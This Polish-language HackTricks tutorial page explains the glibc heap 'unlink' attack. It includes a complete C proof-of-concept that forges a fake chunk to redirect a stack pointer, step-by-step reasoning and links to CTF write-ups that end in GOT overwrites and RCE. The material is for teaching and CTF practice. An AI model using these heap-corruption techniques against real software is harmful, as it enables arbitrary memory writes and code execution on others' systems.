Unlink Attack
Reading time: 6 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Kiedy ten atak został odkryty, głównie pozwalał na WWW (Write What Where), jednak dodano sprawdzenia, co sprawiło, że nowa wersja ataku stała się bardziej interesująca, bardziej złożona i bezużyteczna.
Przykład kodu:
Kod
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- Atak nie działa, jeśli używane są tcaches (po 2.26)
Cel
Ten atak pozwala na zmianę wskaźnika do kawałka, aby wskazywał 3 adresy przed sobą. Jeśli ta nowa lokalizacja (otoczenie, w którym znajdował się wskaźnik) ma interesujące rzeczy, takie jak inne kontrolowane alokacje / stos..., możliwe jest ich odczytanie/zapisanie, aby spowodować większe szkody.
- Jeśli ten wskaźnik znajdował się na stosie, ponieważ teraz wskazuje 3 adresy przed sobą, a użytkownik potencjalnie może go odczytać i zmodyfikować, możliwe będzie wycieknięcie wrażliwych informacji ze stosu lub nawet modyfikacja adresu powrotu (może) bez dotykania canary.
- W przykładach CTF ten wskaźnik znajduje się w tablicy wskaźników do innych alokacji, dlatego, zmieniając go, aby wskazywał 3 adresy przed i mając możliwość odczytu i zapisu, możliwe jest sprawienie, że inne wskaźniki będą wskazywać na inne adresy.
Ponieważ użytkownik potencjalnie może również odczytywać/zapisywać inne alokacje, może wyciekować informacje lub nadpisywać nowe adresy w dowolnych lokalizacjach (jak w GOT).
Wymagania
- Pewna kontrola w pamięci (np. stos), aby stworzyć kilka kawałków, nadając wartości niektórym z atrybutów.
- Wyciek ze stosu w celu ustawienia wskaźników fałszywego kawałka.
Atak
- Istnieje kilka kawałków (chunk1 i chunk2)
- Atakujący kontroluje zawartość chunk1 i nagłówki chunk2.
- W chunk1 atakujący tworzy strukturę fałszywego kawałka:
- Aby obejść zabezpieczenia, upewnia się, że pole
size
jest poprawne, aby uniknąć błędu:corrupted size vs. prev_size while consolidating
- a pola
fd
ibk
fałszywego kawałka wskazują, gdzie przechowywany jest wskaźnik chunk1 z przesunięciami -3 i -2 odpowiednio, więcfake_chunk->fd->bk
ifake_chunk->bk->fd
wskazują na pozycję w pamięci (stos), gdzie znajduje się rzeczywisty adres chunk1:
- Nagłówki chunk2 są modyfikowane, aby wskazywały, że poprzedni kawałek nie jest używany i że rozmiar to rozmiar zawartego fałszywego kawałka.
- Gdy drugi kawałek jest zwalniany, ten fałszywy kawałek jest odłączany, co się dzieje:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- Wcześniej zrobiono, że
fake_chunk->fd->bk
ifake_chunk->bk->fd
wskazują na to samo miejsce (lokalizacja w stosie, gdzie przechowywany byłchunk1
, więc była to ważna lista powiązana). Ponieważ oba wskazują na tę samą lokalizację, tylko ostatni (fake_chunk->bk->fd = fake_chunk->fd
) wejdzie w efekt. - To nadpisze wskaźnik do chunk1 na stosie na adres (lub bajty) przechowywane 3 adresy przed w stosie.
- Dlatego, jeśli atakujący mógłby ponownie kontrolować zawartość chunk1, będzie mógł zapisać wewnątrz stosu, mając potencjalnie możliwość nadpisania adresu powrotu, omijając canary i modyfikując wartości oraz wskaźniki lokalnych zmiennych. Nawet ponownie modyfikując adres chunk1 przechowywany w stosie na inną lokalizację, gdzie, jeśli atakujący mógłby ponownie kontrolować zawartość chunk1, mógłby pisać wszędzie.
- Zauważ, że to było możliwe, ponieważ adresy są przechowywane w stosie. Ryzyko i wykorzystanie mogą zależeć od tego, gdzie są przechowywane adresy fałszywego kawałka.
Odniesienia
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Chociaż byłoby dziwnie znaleźć atak unlink nawet w CTF, tutaj masz kilka opisów, gdzie ten atak był używany:
- Przykład CTF: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- W tym przykładzie, zamiast stosu, jest tablica alokowanych adresów. Atak unlink jest przeprowadzany, aby móc alokować kawałek tutaj, a tym samym kontrolować wskaźniki tablicy alokowanych adresów. Następnie istnieje inna funkcjonalność, która pozwala na modyfikację zawartości kawałków w tych adresach, co pozwala na wskazywanie adresów do GOT, modyfikację adresów funkcji, aby uzyskać wycieki i RCE.
- Inny przykład CTF: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- Podobnie jak w poprzednim przykładzie, istnieje tablica adresów alokacji. Możliwe jest przeprowadzenie ataku unlink, aby sprawić, że adres do pierwszej alokacji wskaże kilka pozycji przed rozpoczęciem tablicy i nadpisze tę alokację w nowej pozycji. Dlatego możliwe jest nadpisanie wskaźników innych alokacji, aby wskazywały na GOT funkcji atoi, wydrukować to, aby uzyskać wyciek libc, a następnie nadpisać GOT atoi adresem do jednego gadżetu.
- Przykład CTF z niestandardowymi funkcjami malloc i free, które wykorzystują lukę bardzo podobną do ataku unlink: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- Istnieje przepełnienie, które pozwala na kontrolowanie wskaźników FD i BK niestandardowego malloc, które będą (niestandardowo) zwalniane. Ponadto, sterta ma bit exec, więc możliwe jest wycieknięcie adresu sterty i wskazanie funkcji z GOT do kawałka sterty z shellcode do wykonania.
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.